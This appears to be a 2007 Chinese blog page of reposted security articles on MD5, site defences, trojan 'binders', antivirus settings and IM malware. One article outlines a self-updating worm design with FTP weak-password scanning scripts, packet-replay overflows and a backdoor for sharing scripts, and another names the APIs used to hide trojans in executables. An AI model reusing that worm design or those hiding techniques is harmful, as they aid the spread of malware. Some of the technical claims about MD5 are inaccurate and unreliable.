星期五, 三月 02, 2007

最强加密算法MD5被破译后我们怎么办

最强加密算法MD5被破译后我们怎么办

作者:lvvl 来源:赛迪网

【编者按:做密码学研究的人,都知道MD5——曾经被认为是最安全的加密算法。其实任何一种加密算法都存在着这样或那样的漏洞,所以,还是尽量把自己的密码设计的足够长和足够复杂吧!】

  在2004年召开的国际密码学年会上,来自中国山东大学王小云教授的一篇关于"破译MD5、HAVAL-128、MD4以及RIPEMD-128算法"的报告引起了轰动,报告中提到的新破译方法几乎标志着世界通信密码标准——MD5堡垒的轰然倒塌。一石激起千层浪,此前一直负责公开征集针对MD5的攻击而设立的权威站点http://www.md5crk.com/宣布"由于MD5破译获得突破性进展,MD5破解项目(MD5CRK Project)即日停止",并开始提供该站点以往技术资料的下载,预计该站点也将在不久的将来完全关闭。面对MD5被破译,有人一声叹息,有人觉得不可思议,更有人忧虑甚至恐慌......那么究竟MD5有什么来头?它被破译是否意味着"地球将不再旋转"?谁将成为它的继承者?

一、MD5是何方神圣?

  所谓MD5,即"Message-Digest Algorithm 5(信息-摘要算法)",它由MD2、MD3、MD4发展而来的一种单向函数算法(也就是HASH算法),它是国际著名的公钥加密算法标准RSA的第一设计者R.Rivest于上个世纪90年代初开发出来的。MD5的最大作用在于,将不同格式的大容量文件信息在用数字签名软件来签署私人密钥前"压缩"成一种保密的格式,关键之处在于——这种"压缩"是不可逆的。

  为了让读者朋友对MD5的应用有个直观的认识,笔者以一个比方和一个实例来简要描述一下其工作过程:

  大家都知道,地球上任何人都有自己独一无二的指纹,这常常成为公安机关鉴别罪犯身份最值得信赖的方法;与之类似,MD5就可以为任何文件(不管其大小、格式、数量)产生一个同样独一无二的"数字指纹",如果任何人对文件做了任何改动,其MD5值也就是对应的"数字指纹"都会发生变化。

  我们常常在某些软件下载站点的某软件信息中看到其MD5值,它的作用就在于我们可以在下载该软件后,对下载回来的文件用专门的软件(如Windows MD5 Check等)做一次MD5校验,以确保我们获得的文件与该站点提供的文件为同一文件。利用MD5算法来进行文件校验的方案被大量应用到软件下载站、论坛数据库、系统文件安全等方面。 笔者上面提到的例子只是MD5的一个基本应用,实际上MD5还被用于加密解密技术上,如Unix、各类BSD系统登录密码(在MD5诞生前采用的是DES加密算法,后因MD5安全性更高,DES被淘汰)、通信信息加密(如大家熟悉的即时通信软件MyIM)、数字签名等诸多方面。

二、MD5的消亡之路

  实际上,从MD5诞生之日起,来自美国名为Van Oorschot和Wiener的两位密码学专家就发现了一个暴力搜寻冲突的函数,并预算出"使用一个专门用来搜索MD5冲突的机器可以平均每24天就找到一个冲突"。不过由于该方案仅仅从理论上证明了MD5的不安全性,且实现的代价及其夸张(当时要制造这种专门的计算机,成本需要100万美元),于是MD5自其诞生十多年来一直未有新版本或者被其它算法彻底取代。

  在接下来的日子里,有关MD5的破译又诞生了"野蛮攻击",也就是用"穷举法"从所有可能产生的结果中找到被MD5加密的原始明文,不过由于MD5采用128位加密方法,即使一台机器每秒尝试10亿条明文,那么要破译出原始明文大概需要10的22次方年,而一款名为"MD5爆破工具"的软件,每秒进行的运算仅仅为2万次!

  经过无数MD5算法研究专家的努力,先后又诞生了"生日攻击"、"微分攻击"等多种破译方法(相关信息大家可以参考研究成果,大大推进了md5算法消亡的进程。尽管在研究报告中并没有提及具体的实现方法,我们可以认为,md5被彻底攻破已经扫除了技术上的障碍,剩下的仅仅是时间和精力上的问题。)此次山东大学几位教授的最新研究成果,大大推进了MD5算法消亡的进程。尽管在研究报告中并没有提及具体的实现方法,我们可以认为,MD5被彻底攻破已经扫除了技术上的障碍,剩下的仅仅是时间和精力上的问题。

三、MD5完蛋了,放在银行的存款还安全吗?

  由于MD5应用极其广泛,即使是在银行数字签名证书中,它依然占据着比较重要的地位,此次MD5被成功破译的新闻让不少不明所以的人感到"恐惧",认为这是对整个密码界的彻底颠覆,甚至有人开始担心"自己放在银行或者网络银行账户中的存款也有被盗取的可能"。

  其实这种忧虑完全是杞人忧天,以目前主流的网络银行的加密技术为例,它们都构建于PKI(Pubic Key Infrastructure,公钥加密技术)平台之上,与公钥成对的私钥只掌握在与之通信的另一方,这一"信任关系"是通过公钥证书来实现的。PKI的整个安全体系由加密、数字签名、数据完整性机制等技术来共同保障,其密码算法包括对称密码算法(如DES、3DES)、公开密钥密码算法(如ECC、RSA),即使在同样有应用的HASH算法方面,目前网络银行所采用的大多是SHA-1算法,该算法与MD5的128位加密相比,使用了160位加密方式,比MD5安全性高不少。

  其实,就目前网络银行的安全隐患来看,更多的是来自客户接入端(如Web入口),而非银行的加密技术本身。

四、MD5的继承者们

  "天下没有不透风的墙",实际上任何一种算法都会有其漏洞,即使是目前大行其道的MD5和SHA-1,当对漏洞的研究发展到其能够被有效利用时,则标志着该算法灭亡的时候到了。所谓"天下无不散之筵席",MD5逐渐退出历史舞台后,下一个接任者又会是谁呢?

  实际上,长期以来,密码界一直在致力于对新加密算法的研究,而且在高度机密的安全领域,所采用的加密算法也绝非MD5,各国政府、各大公司都在研究拥有独立技术的加密算法,其中比较出色的代表有SHA-1、SHA-224等。此次MD5破译报告发表后,美国国家技术与标准局(NIST)表示,鉴于MD5被破译以及SHA-1漏洞被发现,他们将逐渐放弃目前使用的SHA-1,于2010年前逐步推广更安全的SHA-224、SHA-256、SHA-384和SHA-512。这些算法与MD5的128位加密相比,加密位数和安全性能都提高了很多倍。

  尽管MD5被淘汰已经成为必然,不过鉴于它开源以及免费的特性,而且目前还没有真正有效的快速破解方法,因此它还将继续在历史舞台活跃一段时间。

知己知彼 看大网站如何保障网络安全

知己知彼 看大网站如何保障网络安全

作者:塞北|谷子熟了吗 来源:赛迪网

首先,服务器上用的是私有的操作系统和数据库,所谓私有,并不是完全自己写,而是说,全部都是进行私有化改造过的,一般使用开源的操作系统和数据库进行改造,比如说操作系统使用free bsd的改,数据库使用mysql的改,网站服务器数量上百时开始实施这个工程的网站比较多,费用是很重要的一方面原因,但更重要的是安全因素。防火墙不仅昂贵,而且会严重降低效率,所以他们一般不会考虑。

改造操作系统的时候,除通信所需的一些命令文件保持原名外,很多命令文件连文件名都换掉(有人认为这是小花样,呵呵),大量功能被重写,黑客即使拿到权限坐在服务器面前,也取不到数据。

有网站首席安全官认为放一扇门让别人一个劲砸,不如给人两条路让人选择正确的或者不正确的,所有使用错误帐号和密码去试系统的人,都会被允许以匿名身份登录到一个shell里,那个shell跟真的系统很象,嗯,只是很象,但其实是个空壳,所有的指令,都会被以最小代价运行,调用假的信息界面出来。有的甚至里面放了陷阱,欺骗性引导黑客自动送上身份资料或其他一些敏感信息,毕竟黑客可能通过境外跳板过来,如果不是黑客主动送上,网站方很难获得黑客身份资料的。

使用自己的安全策略,对已有的攻击手段都有相应的防护措施。比如说对syn flood这样的,就是临时降低服务质量,降低半连接等待时间,这样连接的成功率会降低,但是不会造成服务被停。

网络空闲时间经常有欺骗性数据流在办公网络和服务器之间流动,使用强度不高的加密方式加密,让黑客有事做。

网站内部工作人员使用业务系统登录网站服务器时,界面上和一般服务器一样,所有的一般命令都可以通过业务系统转换为私有操作系统的专用命令而得到执行,网站内部工作人员也只有很少的知道转换的对照,而且一般都经过分权,做操作系统开发的,不负责服务器的维护,并且不知道安装某个内部版本号操作系统的服务器被部署到什么地方。

帐号及密码按规定必须通过安全的消息平台传递。

有自己部署在不同城市的DNS服务器,所有部署出去的应用都有不在同一机房的备用系统,应急机制设置在自己的DNS服务器这一环节,使用承载其他服务的服务器做交叉的安全状态监测,比如说A1服务器是A服务器的备用系统,使用CDEFGH等服务器来做A服务器安全状态监测,定时通信,并向A1服务器传递通信成功的信号,当失败率超过某个值的时候,A1自动分担A的部分压力,A1服务器上原本承担的非及时服务(不面向客户的,比如说索引服务)被降低优先级。所有服务器之间这么相互监测,通过某个机制保证监测是及时有效的。这样的情况下,即使某家DNS服务商被攻击,自己的网站都还能被大部分用户访问,因为不同地区的DNS还没被刷,用户还是可以使用那些DNS连接到网站的。

一般而言,使用了这些手段,网站的安全性不能说万无一失,也是大大提高的。

关注自己的系统 查看局域网访问状态

作者:lvvl 来源:赛迪网

【编者按:我们的电脑每天都在遭受着来自不同方面的威胁,其中的一部分就来自于局域网,随时查看都有哪些“访客”也就十分重要了!】

在Windows2000/XP操作系统中,可以随时看到局域网中的哪个用户正在访问你的共享文件夹。具体的查看方法如下:打开“控制面板”选择“管理工具”—“计算机管理”选项,出现“计算机管理”窗口,如图所示。



“计算机管理”窗口从左侧栏中,依次单击“系统工具”—“共享文件夹”—“会话”选项,在右侧栏中就可以看到哪台电脑正在访问你的计算机。

然后在从左侧栏中选择“系统工具”—“共享文件夹”—“打开文件”命令,在右侧栏中就可以看到访问者正在访问哪些文件。

如果不想让这台电脑继续访问你的共享文件,在左侧栏中选中“会话”项,在右侧栏中选中这台。单击鼠标右键,从快捷菜单中选择“关闭会话”命令,在弹出的确认对话框中单击“是”按钮,就可以终止这个用户对你的电脑访问了。

检测网络速度变慢或性能不良的问题

作者:lynn 来源:赛迪网技术社区

问:做网管常常会遇到一些棘手的问题,如网络缓慢或性能不良。这时候如果有一台网络测试仪帮助检测故障,无疑会极大地提高工作效率。

那么如何使用FLUKE公司的LANMETER网络测试仪来检测网络速度慢或性能不良?  

答:运行网络统计(Network Stats)测试,检查高的网络利用率和异常的高碰撞率。施加少量的后台流量(每秒100帧LLC流量,每帧100个字节)后再次运行测试。如果你发现随传输增加时碰撞或FCS错误增加,那么就应运行电缆扫描(Cable Scan)。  

如果碰撞的数量十分高(超过5%),则要运行碰撞分析(Collision Analysis)测试来确定由于碰撞损失了多少带宽。将本地和远端碰撞所造成的带宽损失加上后,平均大于0.5%就需进行故障诊断。同时检查碰撞是否是“突发”的,而且突发碰撞的增加不随网络流量增加而增加。也就是说,如果碰撞数量有较大的变化而没有对应较大的流量增加,那么可能在某个地方有严重的物理层问题。流量水平和碰撞一定有某种关系。如果在网络性能处于可接受的水平而碰撞数量一直较大,那么在该碰撞域可能有过多的站点进行传输,或网络的结构需要优化以减小网络站点之间的距离。过量的碰撞经常是物理介质所造成的,例如没有或端接不正确,阻抗不连续(坏的连接器、连接电缆、被挤压的电缆等),或有坏的网卡等。  

如果利用率很高(持续峰值超过60%),同时碰撞数量为可接受的水平(平均值低于5%),那么网络可能已经饱和。这有些不可能,因为以太网网段如果有很高的利用率时通常会有较高的碰撞率。当利用率接近100%,碰撞的数量会远远超过好的帧的数量。这时可能需要安装交换器、桥或路由器将网络分隔成足够小的子网来支持流量负载。  

运行网络统计(Network Stats)测试并检查错误(碰撞以外的)。如果出现错误,运行错误统计(Error Stats)测试并用放大(Zoom)来了解有问题站点的MAC地址,然后用专家测试(Expert-T)来隔离特定的问题或用电缆扫描(Cable)检查电缆。如果问题是间歇性的,则要试着更换被怀疑有问题的网卡,因为这些问题在测试时可能不会显示出来。  

检查一下用户正在连接的服务器或服务是否是在WAN的远端,或通过路由连接。如果确实如此,那么用Ping测试(NetWare Ping,ICMP Ping)来检查通过网段的响应,并将结果和你的基准测试或听证测试结果相比较。为了保证帧没有丢失,要试着连续进行Ping测试,并且检查请求的数量和响应的数量相等(IP主机经常会对第一个Ping响应失败,那么需要多试几次)。如果数量不一致,远端媒介或互连设备(桥、路由器等)可能满负荷或有问题。丢帧也是电缆故障的症状,例如UTP电缆的串绕,或同轴线的大地环路。如果怀疑有丢帧,可运行电缆扫描(Cable Cable),测试缓慢站点(以及相应的文件服务器)连接至网络的电缆,或连接任何桥或路由器以及它们之间的电缆。

菜鸟也来对付最流行的几种病毒捆绑器

菜鸟也来对付最流行的几种病毒捆绑器

作者:lvvl 来源:赛迪网

【编者按:我们经常听到有人说“我中毒啦”、“我的文件被感染”啦。而且很多时候人们会发现,病毒被查杀的同时,自己的文件也被破坏了,这一切其实都是和病毒的捆绑技术有关。本文内容仅供参考,切勿用于不当之处!】

最近不知怎么搞的,一夜就冒出许多捆绑机,害得我等菜鸟苦不堪言。今天就各种捆绑器的原理和检测方法做个简单的总结,以帮助各位识别带毒程序。

一、传统的捆绑器 这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。

检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点(不管是否加壳)。一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点,检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来,然后检索关键字MZ或者PE。

说到这里,相信大家有了一个大概的了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。

二、资源包裹捆绑器 就这原理也很简单。大部分检测器是检测不出来的,但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳,所以也十分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头文件释放出来,然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。

检测方法:一般这种很难检测。如果你不怕麻烦,可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。

三、编译器捆绑法 暂时不知用什么名字来形容,所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样

muma:array[0..9128] of Byte=($4D,$5A,$50....$00);

然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言,目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。

四、最最毒辣的一种 因为暂时用的人较少,且危害性及查杀难度太大,所以就不公布了。此法查杀方法通用性极差。如果流行,估计大家连动画都不敢下着看了。

补充:可以利用一些第三方工具将硬盘和注册表监视起来以后再运行那些你不确定是否被捆绑的程序。这样,一旦硬盘出现变化,或有文件新建,或有文件改变都会被记录在案。就算是查找起来也方便一点。

安全技巧之教你学会分离带木马的文件

作者:塞北|谷子熟了吗 来源:赛迪网安全社区

第一步:用Ultraedit的十六进制方式打开绑定程序,选中第二个mz到第三个mz之间的内容(即第二个文件),将该部分复制。然后新建一个文件,粘贴,保存为exe文件。

第二步:选中第三个mz至文件末尾之间的内容(即第三个文件),同样复制,新建文件后粘贴、保存为exe文件。

第三步:现在你要通过检查两个文件的图标及大小来判断哪个文件是所需的正常程序。一般来说,所需程序文件与捆绑后的图标一致,且文件体积较大的那个文件就是我们所要的原文件。

揭秘融合多种传播方式的蠕虫病毒设计

作者:lvvl 来源:赛迪网

【编者按:以往的病毒一般只会采取一种传播方式,而现在,特别是“熊猫烧香”病毒的出现,多种传播方式的融合成为了一种新的趋势。本文内容仅供参考,切勿用于不当之处!】

一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。

更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:

uid = iscript-0a21-2331-x #随机唯一编号

using tcp;

port 21;

send “user anonymous”;

send crlf;

send “pass fake@nothing.com”

send crlf;

if (find “200”) result ok;

next;

解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:

using raw;

ip offset at 12;

send “\x1a\xb2\xcc” ……

主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。

我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法 和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:

fitness = number of host infected / number of host scanned

但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境。

精心设置卡巴斯基 加快我们的杀毒速度

精心设置卡巴斯基 加快我们的杀毒速度

作者:lvvl 来源:赛迪网安全社区

俄罗斯的卡巴斯基是全球最著名最强大的反病毒软件之一,但是其资源占用方面一直为人所诟病。其实卡巴斯基经过合理的设置之后,并不比其他杀毒软件占用系统资源多。下面我就说说卡巴斯基的设置问题。

我的电脑配置是256M DDR的内存、AMD2800+处理器,显卡七彩虹MX550,这个配置不高不低,还算马虎。如果用卡巴斯基默认的设置,开机前一分钟和杀毒进行到最后时刻,机器反应严重迟钝,我根据自己的实际情况设置了一下,机器运行顺畅许多。相信按照我的建议设置之后,那些配置比较低的朋友也可以正常使用卡巴斯基了。

第一步:设置--设置实时监控--将保护级别设置为高速;

第二步:如果你不使用微软的邮箱,请选择“禁用邮件实时监控”;

第三步:勾选“禁用脚本的实时监控”;

第四步:文件保护--勾选“不扫描磁盘引导扇区”,扫描超时500秒则停止;

第五步:网络攻击防御--勾选“使用隐藏模式”;

第六步:不进行计划扫描;

第七步:其他设置--不要选择“记录所有的信息”,其余的酌情自便;

全部优化设置完毕。

安全技巧之解读卡巴斯基自动断开连接

作者:smtk 来源:赛迪网安全社区 

很多使用卡巴斯基6.0都会遇到这种情况:卡巴斯基总是自动断开连接,要重新启动程序。  

  解决办法一:到设置---服务 关闭自我保护...   

  解决办法二:导致卡巴斯基6.0莫名退出的原因原来是c:\windows\system32\drwtsn32.exe(华生医生)程序,它企图对卡巴有两个攻击动作被截它靠敏锐捕捉到了。  

  1、drwstsn32.exe 它企图写入卡巴的memory  

  2、drwstsn32.exe 它企图jnjects own code into卡巴导致卡巴服务被中止退出。  

  Dr. Watson (华生医生)是每当发生系统错误时对系统拍取快照的诊断工具。该工具可截获软件错误,识别发生错误的软件并提供详细的原因说明。Dr. Watson (华生医生)可以经常诊断问题并提供建议性的操作过程。您与 Microsoft公司技术支持联系时,Dr. Watson (华生医生)是可帮助您评估问题的工具。   

  华生医生,是自带的查错软件,可以说是完全没有必要的东东.  

  现在几乎每个人另都装杀毒软件的.而且华生只查不杀,只写日志报告.有耗资源.  

  建议大家关掉它:  

  (1)开始→运行“regedit”,然后在注册表:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug],中将“auto”的值改为0即可。  

  (2)运行"中输入"drwtsn32"命令,或者"开始"->"程序"->"附件"->"系统工具"->"系统信息"->"工具"->"Dr Watson",调出系统里的华医生Dr.Watson ,只保留"转储全部线程上下文"选项,否则一旦程序出错,硬盘会读很久,并占用大量空间。如以前有此情况,请查找user.dmp文件,删除了它。这样就可以停用华医生了。  

  以上方法是常规的,应该都有效的,再不行的话进安全模式删了它

NOD32登录前保护功能详细测试

太平洋电脑网

作者:曾贤儒

  日前看到一篇NOD32的测试文章,文章中提到"NOD32启动速度很快,但是没有提供类似瑞星那样的在登陆系统前就提供保护功能"。作为NOD32的fans,看到这样的结论非常惊讶,于是决定进行一番实际测试。

  一、测试思路

  准备两台可以互联的电脑(称为A和B),先在太平洋电脑网下载中心获取NOD32,然后在A电脑上安装,启用文件夹共享并给予写权限,然后重启进入登录界面等待;B电脑通过网上邻居,向A电脑的共享文件夹内复制一个病毒程序。

  如果NOD32可以在登录前提供保护,那么此时应该可以阻止此文件写入;如果真像该文章中所说,那么这个文件只有在登录后扫描时才会被检测出来。

  二、测试过程

  为了保证测试的正确性,我们在A电脑上安装了全新的Windows XP SP2操作系统,然后安装NOD32 2.70.32并升级至最新病毒库,然后设置分区共享并给予写权限。 



▲ A电脑上设置权限



▲ A电脑上升级病毒库

  准备完成后再次重启,进入Windows XP登录界面后等待。这时打开另外一台电脑,通过网上邻居复制病毒文件(B电脑使用Vista系统,界面有所不同):



▲ 从B向A电脑共享文件夹中复制病毒

看起来病毒文件已经复制完成,难道NOD32真的是在用户登录之后才进行加载?不过,当按下F5进行刷新后,病毒文件已经不见了!看来是虚惊一场,因为局域网共享不是实时更新的。

  这时再在A电脑上正常登录Windows,打开NOD32的日志记录,就可以看到刚才的拦截已经记录在案了(一共复制了4次病毒,对应的日志有4条):



▲ A电脑的NOD32拦截日志

相关:NOD32国内更新服务器正式开通

  将其操作日志复制出来并重新排版,可以看到其内容如下:



操作日志

  三、结论

  从日志中可以看出,在Windows登录界面下,NOD32已经使用SYSTEM用户进行加载,只是没有像其他杀毒软件那样在这个界面上放置LOGO而已。SYSTEM是Windows系统的内置用户,主要用来启动服务,其权限高于管理员(Administrator),所以即使未登录Windows,它依然可以让电脑处于保护之下。

  从这一点来看,NOD32非常适合服务器使用,因为很多服务器都是在处于长期未登录状态的,如果因为某些漏洞被人上传了有害文件,NOD32也能立即将之阻挡。

  这种在登录界面不显示LOGO的特性其实也符合NOD32的一贯作风,比如它提供的静默模式(不弹出一般的警告窗口,减少对用户工作的干扰)对于用户几乎是隐形的,甚至会让人忘记它的存在。轻巧而强大,这恐怕也是大家喜欢NOD32的主要原因吧?

节后PC三部曲:快升级 补漏洞 倒垃圾

金山软件 【转载】

伴随着返城列车的鸣笛声响起,春节长假正式宣布结束,人们即将投入到新一轮的紧张工作之中。今年春节,互联网世界还算相安无事,并没有重大恶性病毒发作,但由于长假期间大量用户没能及时升级杀毒软件,所以造成了节后的互联网存在着种种安全隐患。金山毒霸反病毒专家提醒广大用户,春节后上班第一天升级杀毒软件、系统漏洞修复以及垃圾邮件清理一个都不能少。

升级杀毒软件抵御新病毒入侵

大家都知道,杀毒软件不升级等于形同虚设。春节长假,不知又出现了多少新的病毒及变种,一些病毒专门抓住节后杀毒软件没能及时升级的空挡,对用户进行攻击,只有及时升级杀毒软件才能有效抵御新病毒的偷袭。

漏洞修复切断病毒传播途径

近年来,利用漏洞传播的病毒频繁出现,尤其是春节期间,一些用户由于上网不方便等原因而没能及时为系统或其他应用软件打补丁,因此极有可能遭遇漏洞病毒的袭击。金山毒霸反病毒专家提醒用户,上班后要第一时间为系统打补丁。

垃圾邮件大清理

垃圾邮件成为近年来困扰广大用户的一个症结,春节上班后的第一天,堆积如山的垃圾邮件让用户烦不胜烦。付垃圾邮件,最好的办法就是开启杀毒软件的垃圾邮件监控功能,如金山毒霸邮件监控运用全新的垃圾邮件过滤引擎,具有双重过滤机制,双向拦截邮件病毒,高效过滤垃圾邮件,让您放心的收发电子邮件,远离邮件病毒的侵扰。

春节长假后的几天,一些用户由于仍然沉浸于过年的氛围之中,而忽略了电脑的安全问题,所以这段时间也往往成为病毒的高发期。根据节后病毒的传播特点,金山毒霸反病毒专家提醒广大用户,提高自身的网络安全意识,安装正版杀毒软件,开启实时监控、防火墙等功能,不给病毒任何可乘之机,彻底将病毒拦截在电脑之外!

星期四, 三月 01, 2007

小心 即时通信软件病毒时代悄然来临

小心 即时通信软件病毒时代悄然来临

作者:smtk 来源:赛迪网安全社区

“即时通信工具”(Instant Message,简称IM),作为应用层通信软件,正在成为人们方便又时尚的聊天和工作工具,甚至是必不可少的生活方式。

  仅仅在两年前,OICQ用户只有15万左右,现在已经迅猛发展到150万。加上国内的POPO,UC,目前我国共有200万即时通信软件用户。这只是中国的情况,如果算上ICQ、Yahoo! Messenger、Microsoft .NET Messenger、AOL的Instant Messenger(AIM),以及许许多多我们连名字都说不出来的聊天工具,用户数量恐怕要以“亿”来计算了。这些即时通信工具不仅支持实时消息传输,还支持文件传输、语音视频会谈和文件共享。我们每天通过IM完成了很多工作,或者认识了很多朋友,甚至我们的生活也逐渐离开不了它们了。

  然而,就在你聊兴大发时,IM也许正在把你或你的公司带入“万丈深渊”。无论是本地的QQ,还是外来的其他聊天工具,几乎所有免费在线即时通信软件都正在承受着新型病毒的轮番攻击。病毒正在通过传统防火墙,通过即时通信软件给个人和企业内部网带来巨大的危险因素。继电子邮件之后,即时通讯软件已经成为病毒黑客入侵的新“管道”。

  IM病毒凶猛

  即时通讯软件具有先天的“不足”,使它容易成为病毒或黑客攻击的目标。比如传送资料没有经过加密、避开企业防火墙、内建有连络人清单等等,这些都可以让黑客或病毒能够轻易利用来散播病毒或入侵电脑。目前,袭击即时通讯软件的病毒主要分为三类,第一类是只以QQ、MSN等即时通信软件为传播渠道的病毒;第二类为专门针对即时通讯软件,窃取用户的帐号、密码的病毒;第三类是不断给用户发消息的骚扰型病毒。一般来说,当一种软件的用户量达到500——1000以上的数量级时,就会成为病毒攻击的对象。

  美国反病毒公司Symantec的两名研究人员对IM病毒的传播速度进行了相关研究。他们对用户通过即时通讯软件发送信息所需的时间进行了测定,同时再加上对平均每个用户在即时通讯软件“好友名录”中设定的用户数量进行计算,算出了IM病毒传播的平均速度,平均结果是IM病毒在30秒内能传播到50万台电脑上。安全研究人员称许多即时通信软件可以将文件作为附件通过点对点方式传送,绕过网络周边安全防御设备,由于点对点隧道直接传至桌面计算机,因此受感染的文件借即时通信软件就能绕过防病毒网关的扫描,病毒、蠕虫和特洛伊木马等可以借此轻松地进入网络。

  去年最“热门”、肆虐至今的“求职信(Klez)”病毒,就是第一只整合有透过ICQ攻击模式的病毒,它主要是利用ICQ的连络人清单自动散布。在它之后,IM病毒有如洪水猛兽一般开始在全世界流行。中国由于众多的IM使用者更是首当其冲。

  其中,木马程序利用QQ传播已经成为国内的流行即时通信病毒的主流,以前截获的此类QQ病毒很多,但大多局限于宣传网站等目的。而今年以来的QQ病毒却将目光瞄向了用户的邮箱帐户密码。在运行自己的同时,释放偷密码的木马,并将监视到的帐户密码发送到指定的邮箱中。比如TrojanClicker.LeoQQ木马,目前已开始在QQ世界凶猛传播,并携带一个叫Trojan/PSW.WyHunt的偷传奇游戏密码的木马,仅这个病毒,就已有上千人中招。此类通过QQ软件大肆攻击计算机并盗取QQ密码的还包括恶型病毒“爱情森林”,和其的一个新变种“爱情森林C版”。还有利用QQ进行传播的木马病毒“QQ 连发器”(Trojan.WebAuto、Trojan.WebAuto.a)等等。

  “QQ尾巴”病毒,主要是向正在聊天的QQ用户发送类似这样的消息:“其实我觉得这个网站真的不错,你看看!hxxp://www.ktv**0.com/”,或者“看看我最近照的照片。”收到消息的QQ用户如果点击,就会中毒。

  最新的一种专攻QQ的木马病毒是“林妹妹”(TrojanClicker.Linmm)和“武汉男生”(Trojan/QQMsg.WhBoy.b),它们是最新的QQ病毒变种。自出现后短短的几小时内受害人群已达到数百人。

  国内尚且如此,国际聊天软件就更易受到攻击了。

  微软力推的即时通讯软件MSN Messenger目前正在遭受新型MSN病毒“BR2002.exe”的袭击。如果在网上聊天时打开对话内容附带的“BR2002.exe”文件,就会受到名为“Henpeck”病毒袭击,用户一开机立刻染毒,注册值被更改,并开始从网上自动下载其他有毒文件。同时,电脑还会自动把这一病毒发到通讯簿中所有的名单,扩散到更多的电脑中。

  无独有偶,通过MSN进行传播的另一个恶性蠕虫病毒——MSN射手(Worm.Smibag)刚刚被发现。该病毒运行时会通过MSN进行疯狂传播,感染用户MSN上的所有联系人,造成网络连接速度变慢。

  除了IM病毒,还有另外一些人也在打即时通信软件的主意。这些人就是黑客。据计算机安全专家公开披露的即时通讯缺陷约目前就有60个左右,其中包括从可以利用拒绝服务攻击瘫痪即时通讯服务客户端的缺陷到允许客户远程在用户的机器上安装和运行恶意软件的缺陷。这些缺陷主要被黑客用来攻击个人用的计算机。而且,大多数即时通信软件都可以绕过防火墙(比如MSN可以通过ENAT来绕过防火墙),允许用户选择使用的端口,甚至会自动尝试连接未被封住的端口,因此任何局域网内具有Web浏览权限的用户,都可以通过一个外部的代理服务器和特定的未被防火墙禁止的端口将信息发送到外部网络,这样,防火墙已经不再发挥作用,形同虚设。

  没有了防火墙,黑客可以通过IM轻松突破公司的层层安全防线,轻易获得自己想要的东西。在这方面ICQ是最容易提起的例子。

  美国在线公司(America Online)的Mirabilis ICQ IM客户端软件被发现有六个漏洞,其中两个漏洞特别危险,可以让黑客们全部控制受害人的电脑。 安全分析家们一再警告不加检查地使用这些软件可以引起企业防火墙的危险漏洞,导致公司敏感的数据在公众网络上暴露,文件在一种无保护的方式下传送。此外,包括一个严重缺陷在内的3个缺陷还出现在ICQ软件的电子邮件功能中,只要黑客能够模仿用户的电子邮件服务器,该组件中的一个缺陷能够使黑客使用ICQ软件处理电子邮件的方式在用户的PC上执行代码。

  “反病毒”未来的重点



